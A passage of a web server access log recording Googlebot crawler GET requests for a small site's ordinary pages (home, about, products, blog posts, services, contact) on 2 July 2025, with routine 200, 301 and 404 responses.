/products HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:07 66.249.66.1 - - [02/Jul/2025:12:02:07 ] "GET /about HTTP/1.1" 200 37297 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:09 66.249.66.1 - - [02/Jul/2025:12:02:09 ] "GET / HTTP/1.1" 200 25739 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:06 66.249.66.1 - - [02/Jul/2025:12:02:06 ] "GET /blog/post-2 HTTP/1.1" 200 43732 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:05 66.249.66.5 - - [02/Jul/2025:12:02:05 ] "GET /blog/post-2 HTTP/1.1" 200 10416 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:08 66.249.75.13 - - [02/Jul/2025:12:02:08 ] "GET /products HTTP/1.1" 200 15384 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:08 66.249.66.1 - - [02/Jul/2025:12:02:08 ] "GET /products/item/101 HTTP/1.1" 200 12204 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 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Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:09 66.249.66.1 - - [02/Jul/2025:12:02:09 ] "GET /blog/post-1 HTTP/1.1" 200 26478 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:07 66.249.66.5 - - [02/Jul/2025:12:02:07 ] "GET /blog/post-1 HTTP/1.1" 200 33148 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:13 66.249.75.13 - - [02/Jul/2025:12:02:13 ] "GET /blog/post-1 HTTP/1.1" 200 34396 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:14 66.249.66.1 - - [02/Jul/2025:12:02:14 ] "GET /blog/post-2 HTTP/1.1" 200 10990 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:12 66.249.75.13 - - [02/Jul/2025:12:02:12 ] "GET /blog/post-2 HTTP/1.1" 200 14423 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:11 66.249.66.1 - - [02/Jul/2025:12:02:11 ] "GET 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66.249.75.13 - - [02/Jul/2025:12:02:14 ] "GET /products/item/203 HTTP/1.1" 200 35675 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:16 66.249.66.5 - - [02/Jul/2025:12:02:16 ] "GET / HTTP/1.1" 200 37552 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:16 66.249.66.1 - - [02/Jul/2025:12:02:16 ] "GET /about HTTP/1.1" 200 43164 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:15 66.249.66.1 - - [02/Jul/2025:12:02:15 ] "GET /about HTTP/1.1" 200 11064 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:19 66.249.66.5 - - [02/Jul/2025:12:02:19 ] "GET /products/item/203 HTTP/1.1" 200 18882 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:16 66.249.66.1 - - [02/Jul/2025:12:02:16 ] "GET /products HTTP/1.1" 200 7387 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:22 66.249.66.5 - - [02/Jul/2025:12:02:22 ] "GET /contact HTTP/1.1" 200 20875 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:21 66.249.75.13 - - [02/Jul/2025:12:02:21 ] "GET /products/item/203 HTTP/1.1" 200 46185 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:23 66.249.66.5 - - [02/Jul/2025:12:02:23 ] "GET /products HTTP/1.1" 200 29501 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:22 66.249.75.13 - - [02/Jul/2025:12:02:22 ] "GET /products/item/203 HTTP/1.1" 200 21440 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:20 66.249.66.5 - - [02/Jul/2025:12:02:20 ] "GET /products/item/203 HTTP/1.1" 404 15523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:23 66.249.66.5 - - [02/Jul/2025:12:02:23 ] "GET /blog/post-2 HTTP/1.1" 200 4052 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:22 66.249.66.1 - - [02/Jul/2025:12:02:22 ] "GET /about HTTP/1.1" 200 18081 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:20 66.249.66.1 - - [02/Jul/2025:12:02:20 ] "GET /services HTTP/1.1" 200 38587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:21 66.249.75.13 - - [02/Jul/2025:12:02:21 ] "GET /contact HTTP/1.1" 200 9094 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:29 66.249.66.5 - - [02/Jul/2025:12:02:29 ] "GET / HTTP/1.1" 200 42276 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:26 66.249.66.5 - - [02/Jul/2025:12:02:26 ] "GET /products HTTP/1.1" 301 27266 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:29 66.249.66.5 - - [02/Jul/2025:12:02:29 ] "GET /products HTTP/1.1" 200 36523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:27 66.249.75.13 - - [02/Jul/2025:12:02:27 ] "GET /products/item/203 HTTP/1.1" 200 2295 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:26 66.249.75.13 - - [02/Jul/2025:12:02:26 ] "GET /blog/post-1 HTTP/1.1" 200 38207 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:28 66.249.75.13 - - [02/Jul/2025:12:02:28 ] "GET /blog/post-1 HTTP/1.1" 301 24969 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:26 66.249.66.5 - - [02/Jul/2025:12:02:26 ] "GET /products/item/101 HTTP/1.1" 200 22629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:29 66.249.66.1 - - [02/Jul/2025:12:02:29 ] "GET /blog/post-1 HTTP/1.1" 200 27241 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:29 66.249.66.5 - - [02/Jul/2025:12:02:29 ] "GET /about HTTP/1.1" 200 46170 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:33 66.249.75.13 - - [02/Jul/2025:12:02:33 ] "GET /products HTTP/1.1" 200 11078 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:31 66.249.66.5 - - [02/Jul/2025:12:02:31 ] "GET /blog/post-1 HTTP/1.1" 200 30198 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:33 66.249.75.13 - - [02/Jul/2025:12:02:33 ] "GET /products/item/203 HTTP/1.1" 200 27070 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:33 66.249.75.13 - - [02/Jul/2025:12:02:33 ] "GET /about HTTP/1.1" 200 28382 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:31 66.249.75.13 - - [02/Jul/2025:12:02:31 ] "GET /blog/post-2 HTTP/1.1" 200 31446 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:33 66.249.66.1 - - [02/Jul/2025:12:02:33 ] "GET /blog/post-1 HTTP/1.1" 200 17294 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:31 66.249.66.1 - - [02/Jul/2025:12:02:31 ] "GET /blog/post-1 HTTP/1.1" 200 41784 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:30 66.249.75.13 - - [02/Jul/2025:12:02:30 ] "GET /products HTTP/1.1" 200 12436 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:34 66.249.75.13 - - [02/Jul/2025:12:02:34 ] "GET /about HTTP/1.1" 200 10565 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:32 66.249.66.5 - - [02/Jul/2025:12:02:32 ] "GET /blog/post-2 HTTP/1.1" 200 15147 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:31 66.249.75.13 - - [02/Jul/2025:12:02:31 ] "GET /products/item/203 HTTP/1.1" 200 16926 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:30 66.249.66.1 - - [02/Jul/2025:12:02:30 ] "GET /about HTTP/1.1" 200 3803 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:34 66.249.66.5 - - [02/Jul/2025:12:02:34 ] "GET /blog/post-1 HTTP/1.1" 200 23846 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:32 66.249.66.1 - - [02/Jul/2025:12:02:32 ] "GET /products/item/101 HTTP/1.1" 404 13255 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:38 66.249.66.5 - - [02/Jul/2025:12:02:38 ] "GET /about HTTP/1.1" 200 43543 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:35 66.249.66.5 - - [02/Jul/2025:12:02:35 ] "GET / HTTP/1.1" 200 44655 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 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66.249.66.5 - - [02/Jul/2025:12:02:46 ] "GET /blog/post-2 HTTP/1.1" 200 25009 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:48 66.249.75.13 - - [02/Jul/2025:12:02:48 ] "GET /services HTTP/1.1" 200 19701 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:49 66.249.75.13 - - [02/Jul/2025:12:02:49 ] "GET /services HTTP/1.1" 200 25920 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:46 66.249.66.5 - - [02/Jul/2025:12:02:46 ] "GET /blog/post-1 HTTP/1.1" 301 25667 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:45 66.249.66.1 - - [02/Jul/2025:12:02:45 ] "GET /about HTTP/1.1" 301 40236 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:49 66.249.66.5 - - [02/Jul/2025:12:02:49 ] "GET /services HTTP/1.1" 200 18842 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:52 66.249.66.5 - - [02/Jul/2025:12:02:52 ] "GET /blog/post-1 HTTP/1.1" 200 36618 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:50 66.249.66.5 - - [02/Jul/2025:12:02:50 ] "GET /blog/post-1 HTTP/1.1" 200 20485 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:52 66.249.66.5 - - [02/Jul/2025:12:02:52 ] "GET /products HTTP/1.1" 200 6384 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:52 66.249.66.1 - - [02/Jul/2025:12:02:52 ] "GET /contact HTTP/1.1" 301 47631 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:58 66.249.75.13 - - [02/Jul/2025:12:02:58 ] "GET /about HTTP/1.1" 200 45215 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:56 66.249.75.13 - - [02/Jul/2025:12:02:56 ] "GET /about HTTP/1.1" 200 4824 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:56 66.249.66.5 - - [02/Jul/2025:12:02:56 ] "GET /products HTTP/1.1" 200 41082 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:58 66.249.66.1 - - [02/Jul/2025:12:02:58 ] "GET /products HTTP/1.1" 200 42110 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:56 66.249.66.1 - - [02/Jul/2025:12:02:56 ] "GET /blog/post-1 HTTP/1.1" 200 32011 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:55 66.249.66.5 - - [02/Jul/2025:12:02:55 ] "GET /products HTTP/1.1" 200 38184 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:56 66.249.66.1 - - [02/Jul/2025:12:02:56 ] "GET /contact HTTP/1.1" 200 42655 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:58 66.249.66.1 - - [02/Jul/2025:12:02:58 ] "GET /services HTTP/1.1" 200 38626 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:59 66.249.66.1 - - [02/Jul/2025:12:02:59 ] "GET /products/item/203 HTTP/1.1" 200 6629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:55 66.249.66.1 - - [02/Jul/2025:12:02:55 ] "GET / HTTP/1.1" 200 39018 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:59 66.249.66.5 - - [02/Jul/2025:12:02:59 ] "GET /products HTTP/1.1" 200 26137 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:57 66.249.66.1 - - [02/Jul/2025:12:02:57 ] "GET /blog/post-2 HTTP/1.1" 200 5153 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:00 66.249.66.1 - - [02/Jul/2025:12:03:00 ] "GET /products/item/101 HTTP/1.1" 200 27172 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:02 66.249.66.1 - - [02/Jul/2025:12:03:02 ] "GET /products/item/203 HTTP/1.1" 200 29169 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:01 66.249.75.13 - - [02/Jul/2025:12:03:01 ] "GET /blog/post-1 HTTP/1.1" 200 12962 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:01 66.249.66.1 - - [02/Jul/2025:12:03:01 ] "GET /products/item/203 HTTP/1.1" 200 47739 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:04 66.249.75.13 - - [02/Jul/2025:12:03:04 ] "GET /products HTTP/1.1" 200 37710 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:00 66.249.66.5 - - [02/Jul/2025:12:03:00 ] "GET /products HTTP/1.1" 200 5305 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:04 66.249.75.13 - - [02/Jul/2025:12:03:04 ] "GET /blog/post-2 HTTP/1.1" 200 13013 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:06 66.249.66.1 - - [02/Jul/2025:12:03:06 ] "GET /products/item/101 HTTP/1.1" 200 47748 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:06 66.249.66.5 - - [02/Jul/2025:12:03:06 ] "GET /services HTTP/1.1" 200 32840 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:05 66.249.75.13 - - [02/Jul/2025:12:03:05 ] "GET /products/item/101 HTTP/1.1" 404 43701 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:13 66.249.66.1 - - [02/Jul/2025:12:03:13 ] "GET /services HTTP/1.1" 200 3583 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:13 66.249.75.13 - - [02/Jul/2025:12:03:13 ] "GET /contact HTTP/1.1" 200 2723 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:10 66.249.66.5 - - [02/Jul/2025:12:03:10 ] "GET /about HTTP/1.1" 200 18262 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:10 66.249.66.5 - - [02/Jul/2025:12:03:10 ] "GET /blog/post-2 HTTP/1.1" 200 41159 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:13 66.249.75.13 - - [02/Jul/2025:12:03:13 ] "GET /products/item/203 HTTP/1.1" 200 12793 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:12 66.249.66.1 - - [02/Jul/2025:12:03:12 ] "GET /blog/post-1 HTTP/1.1" 200 9392 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:13 66.249.75.13 - - [02/Jul/2025:12:03:13 ] "GET /about HTTP/1.1" 200 39212 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:10 66.249.75.13 - - [02/Jul/2025:12:03:10 ] "GET /products/item/101 HTTP/1.1" 301 14109 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:10 66.249.66.5 - - [02/Jul/2025:12:03:10 ] "GET /blog/post-2 HTTP/1.1" 200 18614 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:10 66.249.66.1 - - [02/Jul/2025:12:03:10 ] "GET /services HTTP/1.1" 200 29416 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:11 66.249.66.5 - - [02/Jul/2025:12:03:11 ] "GET /services HTTP/1.1" 404 6993 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:17 66.249.66.1 - - [02/Jul/2025:12:03:17 ] "GET /products/item/101 HTTP/1.1" 200 29272 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:16 66.249.66.5 - - [02/Jul/2025:12:03:16 ] "GET / HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:18 66.249.66.1 - - [02/Jul/2025:12:03:18 ] "GET /blog/post-2 HTTP/1.1" 200 3064 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:16 66.249.66.5 - - [02/Jul/2025:12:03:16 ] "GET /about HTTP/1.1" 404 24953 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:17 66.249.66.5 - - [02/Jul/2025:12:03:17 ] "GET /blog/post-1 HTTP/1.1" 200 40372 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:23 66.249.66.1 - - [02/Jul/2025:12:03:23 ] "GET /blog/post-1 HTTP/1.1" 200 31303 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:20 66.249.66.5 - - [02/Jul/2025:12:03:20 ] "GET /services HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:23 66.249.75.13 - - [02/Jul/2025:12:03:23 ] "GET /blog/post-2 HTTP/1.1" 200 40499 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:24 66.249.75.13 - - [02/Jul/2025:12:03:24 ] "GET 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66.249.66.5 - - [02/Jul/2025:12:03:28 ] "GET /products HTTP/1.1" 200 27401 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:26 66.249.75.13 - - [02/Jul/2025:12:03:26 ] "GET / HTTP/1.1" 200 49955 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:25 66.249.75.13 - - [02/Jul/2025:12:03:25 ] "GET /products/item/101 HTTP/1.1" 200 22819 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:32 66.249.66.1 - - [02/Jul/2025:12:03:32 ] "GET /about HTTP/1.1" 200 48394 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:31 66.249.66.1 - - [02/Jul/2025:12:03:31 ] "GET /blog/post-1 HTTP/1.1" 200 1616 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:03:31 66.249.75.13 - - [02/Jul/2025:12:03:31 ] "GET /products/item/101 HTTP/1.1" 200 48420 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:20 66.249.66.5 - - [02/Jul/2025:12:04:20 ] "GET /products HTTP/1.1" 200 7503 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:24 66.249.66.1 - - [02/Jul/2025:12:04:24 ] "GET /blog/post-2 HTTP/1.1" 200 34868 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:25 66.249.66.5 - - [02/Jul/2025:12:04:25 ] "GET /contact HTTP/1.1" 200 39605 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:28 66.249.66.5 - - [02/Jul/2025:12:04:28 ] "GET / HTTP/1.1" 200 33247 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:25 66.249.66.5 - - [02/Jul/2025:12:04:25 ] "GET /blog/post-1 HTTP/1.1" 200 28484 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:26 66.249.75.13 - - [02/Jul/2025:12:04:26 ] "GET /about HTTP/1.1" 200 18172 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:26 66.249.66.5 - - [02/Jul/2025:12:04:26 ] "GET /products/item/101 HTTP/1.1" 200 47163 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:26 66.249.66.5 - - [02/Jul/2025:12:04:26 ] "GET / HTTP/1.1" 200 30963 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:25 66.249.66.5 - - [02/Jul/2025:12:04:25 ] "GET /products HTTP/1.1" 200 10727 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:27 66.249.75.13 - - [02/Jul/2025:12:04:27 ] "GET /products/item/203 HTTP/1.1" 200 46194 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:26 66.249.75.13 - - [02/Jul/2025:12:04:26 ] "GET / HTTP/1.1" 200 1877 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:28 66.249.75.13 - - [02/Jul/2025:12:04:28 ] "GET /services HTTP/1.1" 200 18494 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:25 66.249.66.1 - - [02/Jul/2025:12:04:25 ] "GET /products HTTP/1.1" 200 38772 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:29 66.249.75.13 - - [02/Jul/2025:12:04:29 ] "GET /contact HTTP/1.1" 200 3385 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:27 66.249.75.13 - - [02/Jul/2025:12:04:27 ] "GET /blog/post-1 HTTP/1.1" 200 22230 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:34 66.249.66.1 - - [02/Jul/2025:12:04:34 ] "GET /services HTTP/1.1" 200 5465 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:33 66.249.66.1 - - [02/Jul/2025:12:04:33 ] "GET /products/item/203 HTTP/1.1" 200 27851 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:34 66.249.66.1 - - [02/Jul/2025:12:04:34 ] "GET /services HTTP/1.1" 200 31634 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:32 66.249.75.13 - - [02/Jul/2025:12:04:32 ] "GET /products HTTP/1.1" 200 1390 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:33 66.249.66.1 - - [02/Jul/2025:12:04:33 ] "GET /blog/post-1 HTTP/1.1" 200 19875 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:34 66.249.66.1 - - [02/Jul/2025:12:04:34 ] "GET /contact HTTP/1.1" 200 2487 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:33 66.249.66.1 - - [02/Jul/2025:12:04:33 ] "GET /contact HTTP/1.1" 200 8677 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:30 66.249.66.1 - - [02/Jul/2025:12:04:30 ] "GET /contact HTTP/1.1" 200 12799 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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"-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:38 66.249.66.1 - - [02/Jul/2025:12:04:38 ] "GET /contact HTTP/1.1" 200 37901 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:38 66.249.66.5 - - [02/Jul/2025:12:04:38 ] "GET /blog/post-1 HTTP/1.1" 200 23162 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:39 66.249.66.1 - - [02/Jul/2025:12:04:39 ] "GET /about HTTP/1.1" 200 34570 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:38 66.249.75.13 - - [02/Jul/2025:12:04:38 ] "GET /products HTTP/1.1" 200 33145 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:36 66.249.66.5 - - [02/Jul/2025:12:04:36 ] "GET /contact HTTP/1.1" 200 14843 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:39 66.249.66.5 - - [02/Jul/2025:12:04:39 ] "GET /blog/post-2 HTTP/1.1" 200 28993 "-" "Mozilla/5.0 